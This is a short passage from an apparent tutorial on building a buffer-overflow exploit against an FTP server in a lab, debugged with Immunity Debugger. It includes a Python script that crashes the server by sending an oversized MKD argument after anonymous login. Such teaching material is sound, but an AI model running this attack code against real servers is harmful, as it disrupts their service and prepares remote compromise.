Follow the steps to create an exploit for buffer overflow attack:
- In a Windows machine, start the Immunity Debugger and open the vulnerable application in it.
- As it is an FTP server, we can try to crash the application by connecting it from another machine.
- We can write a script to connect to the FTP server with Python. To do this, create an ftp_exploit.py and open it in your editor:
#!/usr/bin/python import socket import sys evil = "A"*1000 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.1.39',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('MKD ' + evil + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close
This creates a large chunk ...